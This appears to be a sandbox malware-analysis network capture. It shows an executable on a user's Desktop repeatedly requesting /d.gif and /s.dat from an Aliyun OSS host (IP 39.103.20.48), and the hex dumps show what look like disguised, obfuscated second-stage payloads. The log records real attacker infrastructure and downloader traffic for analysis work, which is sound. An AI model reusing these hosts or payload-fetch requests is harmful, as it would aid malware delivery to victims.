2025-01-07 03:15:38 UTC	3035	IN	Data Raw: 0f 4c 5d 7f 79 25 b9 af f5 fa ff 2d d5 2f 9e 63 5a b4 eb 3c f8 2b dc 07 58 64 ef 7d 5f 68 f0 fa 8a e5 34 38 ff db ca a6 fb c5 61 06 c2 2a ef f0 07 da ad 1f 37 88 9e 3f 37 39 3a 64 4f 74 4c 1c 4f ed 8c 04 e8 32 2f 75 52 85 d3 c1 84 aa 26 20 b4 ef d2 50 e0 65 aa 59 8a eb 7f 04 7f cb 20 fc 09 65 90 40 b9 6c 83 0b ea fe ae a2 b0 2a 83 e0 55 8e c7 4f 10 9c 2e 0c 87 d5 7f 34 18 a1 4d 99 78 06 2b 80 c4 6e 0a 78 03 f4 c4 a6 5d 85 aa fc ce ec 05 9f 47 96 b7 e0 d0 c3 4d 07 1c 93 32 b7 41 1d f1 42 ea c2 af 1c 76 47 ce 69 21 ab b9 ca b8 0d 8c 28 8a f0 3e 70 0a d6 52 7a b0 e5 4d 54 5e 49 25 92 dc fe f8 6f c3 6a 72 b7 08 1a 6f 03 1f b2 0c dc f0 35 6c 4f a9 29 7a c1 f4 63 78 16 6c d9 94 34 46 75 19 48 f8 2d 56 35 df 65 55 d3 05 98 53 87 ae 10 a2 c3 46 bc c5 1c 6f 69 f0 Data Ascii: L]y%-/cZ<+Xd}_h48a7?79:dOtLO2/uR& PeY e@lUO.4Mx+nx]GM2ABvGi!(>pRzMT^I%ojro5lO)zcxl4FuH-V5eUSFoi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:39 UTC	111	OUT	GET /d.gif HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:39 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:39 GMT Content-Type: image/gif Content-Length: 3892010 Connection: close x-oss-request-id: 677C9C5B998B3E3138B653D9 Accept-Ranges: bytes ETag: "E4E46F3980A9D799B1BD7FC408F488A3" Last-Modified: Mon, 06 Jan 2025 08:35:24 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3363616613234190325 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5ORvOYCp15mxvX/ECPSIow== x-oss-server-time: 22
2025-01-07 03:15:39 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-07 03:15:39 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-07 03:15:39 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: 97 9b 9d 99 9d 9b 95 97 95 8b 8d 89 8d 8b b5 b7 b5 bb bd bf 2d db b5 b7 b1 8b 8d 8f 8d 8b 95 95 95 fb 9c 9f 9d 8b 95 97 95 8b 8d 8f 9d 8b f5 f7 f5 fb fd ff fd eb f5 f7 f5 8b 8d 8f 9d 8b 95 97 95 9b 9d 9f 9d 9b 95 87 95 8b 8d 8f 12 a4 b5 e6 b5 bb bd ff 4a 92 b5 3b b5 8b 8d 8f 0d eb 95 77 94 9b 9d df 82 fb 95 0f a8 8b 8d 8f 8d 8b 75 77 75 7b 7d 7f 1d 1b 75 47 60 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b b5 b7 b5 bb bd bf bd bb b5 b7 b5 8b 8d 8f 93 eb 95 d7 94 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f cd ae f5 7f f5 fb fd ff fd fb f5 f7 f5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d a1 f9 ee cd c3 b5 bb bd ef d4 ba b5 b7 a5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b 75 57 75 7b 1d 51 0f 1f 14 03 14 8b 8d f9 36 8b 95 Data Ascii: -J;wuwu{}uG`uWu{Q6
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: 69 18 0b cc ef 77 23 0b dc 62 f5 92 bd ff f0 55 8b 71 aa 3a 3d 2b 0e e8 a2 e1 cd ea 57 ca 72 3f 3b a3 53 99 f3 19 2d 50 82 0e 0d 67 11 12 78 ff f7 c0 c2 9c d0 1f 35 b3 d6 c1 15 8b 71 1a 1f 9f 00 52 44 b6 6f bf 5c 42 7e 10 b4 79 e0 70 9b ec ea 3e 72 2b 74 62 9c c8 03 89 51 17 b4 ee 50 26 6c f4 04 88 dc ad 35 53 4d 06 b8 17 18 42 ac 5e c3 76 8a e3 0f 55 bd 10 fb 3f 3d a9 48 9d ea 3a a4 e2 a6 b4 3f 76 ce a4 1c 7c fb f9 82 7d fe 97 54 b4 b3 68 d2 ca 6b fa 63 cb 18 ff 4a 19 f9 7b ce a8 14 4b 2d e1 e4 ac ec 85 7b 1e 75 a1 29 ef 25 b4 c1 12 a6 c8 7c 21 bf 95 a2 cb d0 51 3b 62 af 3a aa cc 42 6d 00 8c 79 d0 be 06 b6 82 9f 76 84 17 1f 9e 9d b0 29 42 92 30 ee 02 cb 2e 78 cc a6 12 f0 07 e3 66 63 9f 49 05 39 61 2f 8e d5 7d 9a 70 87 1f c6 95 13 f3 f5 88 62 22 f4 1a 33 Data Ascii: iw#bUq:=+Wr?;S-Pgx5qRDo\B~yp>r+tbQP&l5SMB^vU?=H:?v\|}ThkcJ{K-{u)%\|!Q;b:Bmyv)B0.xfcI9a/}pb"3
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: 59 fc a8 65 45 fc 8d 05 fd fb b3 9f 14 a2 f6 f8 cc c4 eb 39 9d d3 a3 9f a0 42 0a 18 58 74 c7 69 1d eb 8b bf f8 0a 86 d0 b8 94 b7 61 b0 9e 73 a2 69 b3 40 d3 c4 61 59 75 53 34 0e c7 4a cf b1 8f a5 1c 40 ae d5 10 f9 b3 9d 63 52 15 9e 8b 52 f6 a8 f0 ad 49 d7 f7 72 8e 78 64 f5 39 5f 0b 52 de 78 1c 55 45 37 4b fa 52 4d 22 ef 1a 7a 2b 77 55 11 34 b8 02 76 4b bc 41 00 36 50 70 72 34 04 b2 fc fc b3 02 62 64 d3 fa df dd e5 b8 e2 bd 6c e5 a6 e2 23 8e 49 61 66 4b de 3e d6 1f 11 74 6a d1 49 c0 da 1e df 8c f9 36 8a 61 dc e3 8e c6 1a 21 61 99 12 00 4b bc 3f 2f 86 71 66 94 e7 b9 fd a5 2f a6 09 9c b6 7f c9 3c 7d 99 5e d8 fd f5 f6 1c ce 71 0e c8 38 12 5d a5 a6 a8 b9 81 05 24 3e 7f 87 5f e9 b2 ac d8 50 4b 41 40 ae 76 80 40 a4 58 df 93 6f bb a4 25 c4 dc 1b f9 98 6d 46 50 50 Data Ascii: YeE9BXtiasi@aYuS4J@cRRIrxd9_RxUE7KRM"z+wU4vKA6Ppr4bdl#IafK>tjI6a!aK?/qf/<}^q8]$>_PKA@v@Xo%mFPP
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: 82 6b 24 f1 76 c7 84 af a6 d8 72 87 9e 02 98 c2 20 b2 f1 7e 40 de 11 c4 b7 04 70 3b 4c f8 6d db 2d a9 ce 60 f5 10 4c 12 54 c5 c0 72 2e a1 d8 20 3a 3e 2a 25 eb 4b 0d 65 55 1a c4 48 1a 5e 6a 05 eb 8f 85 11 75 4e 9c 4d 91 ea 1e 6c 58 58 23 d5 a9 a7 43 0b 1c de b1 07 fa 5d 5e fb 87 19 ab 0f 82 15 1e ba 6f f1 63 c6 da 5d 0e ab af 31 1b bf 5a cd f6 53 1f 80 ab 2c 54 0f 0f 1b 81 1b a2 ce 13 0d 34 7e c8 33 6a cb 2c 24 f8 95 15 fe 8e 9d b5 5f fa 6f 6b 71 de 1e b5 8b 59 19 1d 09 5e ac 7c 16 63 9b d8 c8 b4 27 9d 9d bb 43 03 b0 6a a2 cc 20 6c 87 15 fd 83 53 0b 74 ba be 94 f4 dc 67 c5 f1 cb 96 3f f5 5d c0 5a b8 19 35 ae dd 45 b8 22 e8 49 6d f7 25 8d 40 da 70 d0 35 af 4d f4 b8 23 50 f0 45 df 6d c4 90 0a 98 39 7d 78 78 2e 64 92 61 cf c0 27 77 aa e9 3f f8 8d 38 ff 14 79 Data Ascii: k$vr ~@p;Lm-`LTr. :>*%KeUH^juNMlXX#C]^oc]1ZS,T4~3j,$_okqY^\|c'Cj lStg?]Z5E"Im%@p5M#PEm9}xx.da'w?8y
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: 7d 65 0f 82 22 33 6c 58 70 0d b8 a6 df ea 7b 6d 7a 5f 99 fd 73 8d 00 c9 26 96 32 5f 9a 2d 5f 52 cd c3 af 35 d2 10 ab ac 7d 75 1f 92 32 53 12 21 c0 0e a8 ca d8 dd c7 d0 35 03 63 e9 2c 3e eb 04 88 24 5d 20 1c fa f5 63 e0 67 b3 2a db a8 82 4f 91 91 6e 78 3a 77 32 95 d2 d2 f3 31 f7 3a 09 7f 6b 09 80 20 ed f3 ca fa b6 ca 1e 07 6f f1 ea 8e 7e 4f df f1 ee 66 ca 0f a7 51 14 14 36 25 dc 96 50 91 b0 60 93 09 88 28 f5 58 20 ee bf f1 ff 75 17 d6 a0 c8 e1 27 4f 1e 06 29 03 1c 90 34 5d e2 3e e3 1d 28 c6 67 37 ac 93 2b e2 78 8e 2e d7 4d 83 2a 0a 90 3e 9f 8f 15 a3 7a 0a 90 76 d6 47 dd 4b e2 82 19 56 f6 3f ee a6 6f 8c 4a 79 5f df 1d 79 90 90 40 b3 29 a8 08 35 66 cc 97 f8 29 cb b8 4b 89 f7 f9 13 42 7a ec 0b d1 0c f7 79 ec 74 3d d3 55 25 47 d7 82 00 94 7d a5 84 da b6 7d d4 Data Ascii: }e"3lXp{mz_s&2_-_R5}u2S!5c,>$] cgOnx:w21:k o~OfQ6%P`(X u'O)4]>(g7+x.M>zvGKV?oJy_y@)5f)KBzyt=U%G}}
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: e8 d2 e7 86 d8 b8 2d 86 04 1b e1 8b 98 09 7a 3b fe 9c 4d 52 15 f8 12 ed 29 9d a8 0f 40 e6 e5 0b eb ad 15 c7 ff 17 26 89 1c e1 b5 91 c7 16 33 50 17 9c 37 41 d3 06 73 61 28 5f ab 72 93 98 00 8a 6a 27 25 8b 41 b0 e7 2a 40 2e 6b be e6 f0 18 0c d2 28 51 ab 0c 08 02 67 5f 1a 0c 87 3a cc d9 74 dd c0 fd 7b 99 48 59 37 8d c3 26 3f 4d cf ea ea 8f 47 36 91 83 9c f4 2f 52 87 f9 10 b6 44 68 27 93 d2 36 2f 5d 2c 59 59 de 90 b4 e8 85 d4 e9 71 8f 42 65 b0 d8 16 f6 ff 1e 3b 4d 23 fa 1f 9e 5f 66 d6 96 8f 3f 35 40 28 de 44 3a fe c4 20 45 37 b3 18 0e ff ad 2b a7 83 7e 88 3a 6c b9 b9 31 4d dd 30 2d 5f e5 98 94 26 e7 f1 17 4f ba 13 8e 17 f2 ca 4c 08 6f 8e 74 4a 05 8d c4 24 3d 4b fb 22 c3 67 31 f6 85 11 26 a8 6e cf 31 7a 78 b7 f3 05 66 c0 b6 4d c3 3a 0e 1c bb 55 6d 30 27 5a a7 Data Ascii: -z;MR)@&3P7Asa(_rj'%A*@.k(Qg_:t{HY7&?MG6/RDh'6/],YYqBe;M#_f?5@(D: E7+~:l1M0-_&OLotJ$=K"g1&n1zxfM:Um0'Z
2025-01-07 03:15:40 UTC	4096	IN	Data Raw: ed 6d 99 07 e4 c7 b2 15 b2 42 6c 84 38 c1 7d 64 0c 9a 79 ff 71 01 27 59 e8 ac 0f 20 7d b1 81 7f 87 9c 7d 37 13 a4 d8 58 fb d7 aa 0d 1a 88 06 95 72 33 fc a9 08 eb 61 e5 1b 19 63 d2 aa 09 e2 b9 52 e1 a4 8a 08 e0 3b 67 e2 cf e9 55 97 b7 28 79 76 3f a4 7b d0 9c 14 c0 80 dc ab f5 4d 7c f8 cf 89 4a 4c ec 7a 99 13 8b 9f bf 89 fd cb 07 5c 57 9b f8 f0 51 1b 72 ea b3 52 b0 4e d4 50 16 0e f6 43 a8 45 5e f8 99 90 3e a9 4a 8f 23 54 4d 98 d2 f6 51 e0 54 ce c8 f3 3b ec 5d 4b 96 31 6f 39 fe 82 8b 66 a4 22 6a 74 1d 57 6f 34 15 b0 16 87 b1 79 02 74 8a 6e 8c ba ef c4 ed 35 cc c8 82 2e 56 35 d3 9b 89 05 6d 16 f0 98 8a 0e 66 25 2b c7 a1 c9 f5 3e b0 50 22 fe a6 40 5f f9 be 1c 04 3a 5e 6a f5 4b 68 7a cb ed b4 ba f8 98 a8 7f 86 9c b5 87 da e8 1e 72 b0 c5 a5 2a a9 48 4a cf 41 64 Data Ascii: mBl8}dyq'Y }}7Xr3acR;gU(yv?{M\|JLz\WQrRNPCE^>J#TMQT;]K1o9f"jtWo4ytn5.V5mf%+>P"@_:^jKhzr*HJAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 03:15:47 UTC	111	OUT	GET /s.dat HTTP/1.1 User-Agent: GetData Host: jylhok.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-07 03:15:48 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 07 Jan 2025 03:15:47 GMT Content-Type: application/octet-stream Content-Length: 28272 Connection: close x-oss-request-id: 677C9C638797BE3039CED6CE Accept-Ranges: bytes ETag: "B49BF11DC361D426B398BB8C06DCFBFC" Last-Modified: Tue, 07 Jan 2025 03:15:41 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2323535133252745928 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: tJvxHcNh1CazmLuMBtz7/A== x-oss-server-time: 26
2025-01-07 03:15:48 UTC	3536	IN	Data Raw: f5 e2 28 b8 bb b8 b8 b8 bc b8 b8 b8 47 47 b8 b8 00 b8 b8 b8 b8 b8 b8 b8 f8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 50 b8 b8 b8 b6 a7 02 b6 b6 02 bf 7b 5a c3 7a 37 fa 16 63 5f 36 2c 7f 2f 5d 40 48 5d 3c 30 7d 3e 5f 50 50 51 25 71 33 34 14 46 41 5a 7a 33 34 7a 3e 35 29 5a 37 35 3e 3f 11 32 32 35 11 35 35 35 35 35 35 35 f6 81 47 5c db 89 40 66 e1 b3 7a 5c db 89 40 66 e1 b3 7b 5c e4 89 40 66 e8 cb e9 5c d8 89 40 66 e8 cb ef 5c d8 89 40 66 e8 cb f9 5c df 89 40 66 e8 cb f0 5c d5 89 40 66 e8 cb ee 5c da 89 40 66 e8 cb eb 5c da 89 40 66 34 0f 05 0e 89 db 12 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 64 71 34 34 50 b2 3c 34 c2 67 ad 62 62 62 62 62 62 62 62 62 92 62 40 Data Ascii: (GGP{Zz7c_6,/]@H]<0}>_PPQ%q34FAZz34z>5)Z75>?2255555555G\@fz\@f{\@f\@f\@f\@f\@f\@f\@f44444444444444444444444444dq44P<4gbbbbbbbbbb@
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: 5f 05 23 23 56 27 a8 d8 33 c7 9d eb 2b a7 66 a7 83 f7 ef 2a 7e 0e 7a 6b e6 23 60 e2 be c6 b2 1d 08 46 3b 1d 1d 96 61 39 69 71 02 d2 a7 c2 59 15 5c 9c 11 31 89 34 31 31 b1 d8 bd 31 31 31 75 0a e5 79 0d b1 b4 b1 b1 31 da 49 d9 4c 5a 4c 4c 04 8f f4 4c 3f fc 4a 38 87 86 87 87 47 ac 2b 0a cc 09 ff 1e 84 0f 49 6c b1 90 b1 b1 f5 7e eb b1 7e 8d 3a f7 23 23 1a 3d 55 1c 1d d6 90 84 dc 1d fe de b7 75 bb 43 f3 36 f6 f4 bf 7b a3 b3 eb 2a e6 12 a7 6d a3 a3 e2 1b a3 a2 a3 a3 2a 6f d6 6b 25 92 60 2b 43 ca 06 43 ab 0f b6 ab ab ea 54 6d e2 63 27 ca e3 e3 e3 ab 62 a7 72 63 62 62 26 59 54 26 eb df 9b 10 58 d2 12 1e 36 5a 99 c5 bd c1 d1 5a bd f5 b1 f9 32 75 91 d0 cf d0 cc 8d 90 93 92 51 5e 5e 5e 92 92 92 92 da 19 56 da 53 82 d2 92 1b fa 82 da 53 aa c2 92 1b ea b2 d3 87 92 86 Data Ascii: _##V'3+f~zk#`F;a9iqY\1411111uy1ILZLLL?J8G+Il~~:##=UuC6{m*ok%`+CCTmc'brcbb&YT&X6ZZ2uQ^^^VSS
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: 07 0a aa de df de de 96 1b c2 b2 b2 fa 3f fe 96 b6 d3 a5 5f 1a 6c 9f 6c b7 ab 28 48 78 54 49 48 48 b7 5d e9 fe e9 e9 a1 2c ed 85 91 6e 84 1f 86 86 86 0d c2 e6 f6 86 4f 14 4e cc b7 b2 c2 9e 3c 78 18 04 bf 47 bd ca b7 3a ef b6 5e d1 5e 5e 5e 1f 65 9d 2b 21 90 29 2b 2b 2b c2 ab ab ab ab 90 53 e5 ec d1 5a 0a 3a a6 25 5e a0 d3 84 58 97 f7 cf b6 cc 34 41 24 70 0c 90 28 46 0d 0d 0d 02 98 5b 1b 5b 9e 75 c7 a5 5d 28 4d 19 65 f9 41 2f 64 64 64 6b f1 32 72 32 f5 1e b0 76 0d 0f 78 1d 49 71 d5 6d 03 02 03 03 0c 99 cf 8f cf c7 24 ff 4c b4 4f 39 67 23 5f fb 43 09 42 43 43 4c d6 80 c0 03 ca 2b db 58 23 d1 ae b8 97 f2 8a b2 ff 9a ce f6 52 ea 84 85 84 84 3c 30 3c 3c 3c 33 78 e4 7d 56 a6 09 4a 0b 61 91 3e 15 7f 15 e5 91 fa a4 ce 15 ba ef 8f a4 54 fb 93 d2 b8 48 e7 ee a6 dc Data Ascii: ?_ll(HxTIHH],nON<xG:^^^^e+!)+++SZ:%^X4A$p(F[[u](MeA/dddk2r2vxIqm$LO9g#_CBCCL+X#R<0<<<3x}VJa>TH
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: 30 4a 59 ce 0f c9 ba f8 0e 39 f9 8c 87 c4 73 45 cf 41 4f 0c f3 c4 84 0d fb cc 0f 79 76 31 fa 90 92 f6 1b 94 9e dd 17 7c 7e 1a f5 7d 8b bc 79 09 04 41 8a e0 e4 6b e4 ea a3 69 02 ee 67 ef a3 65 ad 2c a4 8c 89 f9 dc c1 4a 09 88 00 e9 03 74 14 5c 97 fd 1c 54 97 18 16 5f e9 df 5e d7 5f 2b ae e7 2d 4e a9 e4 2c 69 dc db 95 57 1f dc 10 00 1f 57 e0 d6 95 91 9f dc 6a a2 e2 6b 1f ec 56 94 dc 1f ba ba ba dc dc dc dc d3 c3 58 dc dc dc dc dc ba ba ba 4c 2a 2a dc 05 84 fc 05 25 25 25 56 67 2f ec 23 6d 95 21 e6 39 33 c9 71 ba 53 9a f2 33 72 2b 7f ba eb aa f2 31 75 3b 39 7d f6 69 77 34 cb fd 7c bd fc b5 f1 34 25 41 e1 7d fe 9d 62 94 e7 6b 6b 6b 0d 0d 0d 0d 02 12 89 0d 0d 0d 0d 0d 6b 9d 45 8c 76 8c 7c 73 8c 04 c6 cb eb cb cb cb 83 4a 22 4b 4b 4b 4b 44 5c 40 4e 4b 53 0f 41 Data Ascii: 0JY9sEAOyv1\|~}yAkige,Jt\T_^_+-N,iWWjkVXL**%%%Vg/#m!93qS3r+1u;9}iw4\|4%A}bkkkkEv\|sJ"KKKKD\@NKSA
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 68 7b 60 ab 47 9b e3 20 f9 68 ad 35 1d 35 35 35 7d b8 79 11 31 ee 04 f4 3b 0b 0b bc 31 f0 98 9c 63 89 4e 53 ac ac 1b d8 93 d0 27 cd 15 02 32 32 7a b1 f6 02 59 c1 ce ce 92 ce 8a ce a1 ce bd ce 8a ce ab ce b8 ce a7 ce ad ce ab ce bd ce 92 ce 9a ce bc ce bb ce ab ce 9d ce a7 ce a9 ce a6 ce ba ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((h{`G h5555}y1;1cNS'22zY
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad fd ad ad e9 ad ad ad bd 0c b5 0c 2c ad 24 ad 9d 0c 95 0c 4c ad 44 ad fd 0c f5 0c 6c ad 64 ad dd 0c d5 0c 8c ad 84 ad 3d 0c 35 0c ac ad a4 ad 1d 0c 15 0c cc ad c4 ad 7d 0c 75 0c ec ad e4 ad 5d 0c 55 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c Data Ascii: ,$LDld=5}u]U
2025-01-07 03:15:48 UTC	4096	IN	Data Raw: 47 a9 09 fd fc 12 13 1d 3c 88 0c c6 10 da 45 42 60 a9 c1 bc 1a 11 a7 e0 2e 22 2b 0a 8c d8 4c df a8 56 70 b6 bc 66 f5 56 67 09 82 f2 d3 a3 55 15 ce e3 6f 81 d8 c2 03 30 7c 10 15 ac 5c 86 7e 88 07 1f ba 3a fb b8 4b 9a 62 ec 00 e7 8e 85 12 6b 82 15 59 35 78 08 43 90 93 b7 4d 24 38 15 5e 33 ae 0e 03 b1 b4 8a 81 33 30 10 93 30 32 31 32 32 38 53 12 7f cb 7f 7f 7f 7f 7f 58 4f 42 49 46 65 e3 2d e3 92 9f 93 93 97 92 97 a7 e8 d9 e3 d8 e1 e7 e2 b4 e5 e3 f6 e7 b0 e3 81 a3 80 91 86 83 d5 d1 dd c6 df 88 be ac b7 de d9 d0 c3 ac ad f2 d3 e3 dd d5 d0 85 d4 d7 c3 c4 91 a6 a7 ca c8 c9 c3 f2 dd f3 df d9 dc 8a db d1 c8 ce 96 ff f5 e4 f9 8a 96 9f 8d ad ce e2 ff 8f 90 8d 9e ea f7 f1 f0 c1 d9 c0 d7 d1 d4 82 d3 d0 c0 f3 9e f7 fd ec f1 82 9e 97 85 a5 c6 ea e1 84 c1 b7 84 f6 ed e2 Data Ascii: G<EB`."+LVpfVgUo0\|\~:KbkY5xCM$8^330021228SXOBIFe-
2025-01-07 03:15:48 UTC	160	IN	Data Raw: bc 56 8d a1 48 a7 d8 db 20 3c c6 64 eb a7 f5 dc 87 01 85 4d b3 73 df 7e 2f 72 c3 fe 90 7f 53 03 95 c3 69 b4 78 70 7f 47 cd 54 d7 16 ca e8 7a 26 d7 20 64 6e df e5 43 1a 7a 90 7c ad 5f 36 aa 81 b5 fe 6e b2 cd cf ba 1d 41 b4 54 53 e9 3f 79 f1 5e 23 29 65 39 09 a1 03 8d 0a fe 23 25 a7 5c cd 0e 5d 86 0a 45 0c 38 50 e4 30 db dd d2 af bb de fa 16 60 6f 98 ea 3b 50 91 e8 7f a4 41 45 cc 50 fe 5e b5 e2 5c 31 55 2a 67 69 1d 23 55 9c 19 fe aa 01 a8 35 68 df e2 53 d9 70 80 53 a6 ac 26 d6 Data Ascii: VH <dMs~/rSixpGTz& dnCz\|_6nATS?y^#)e9#%\]E8P0`o;PAEP^\1U*gi#U5hSpS&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	39.103.20.48	443	7668	C:\Users\user\Desktop\287438657364-7643738421.08.exe

Timestamp	Bytes transferred	Direction	Data
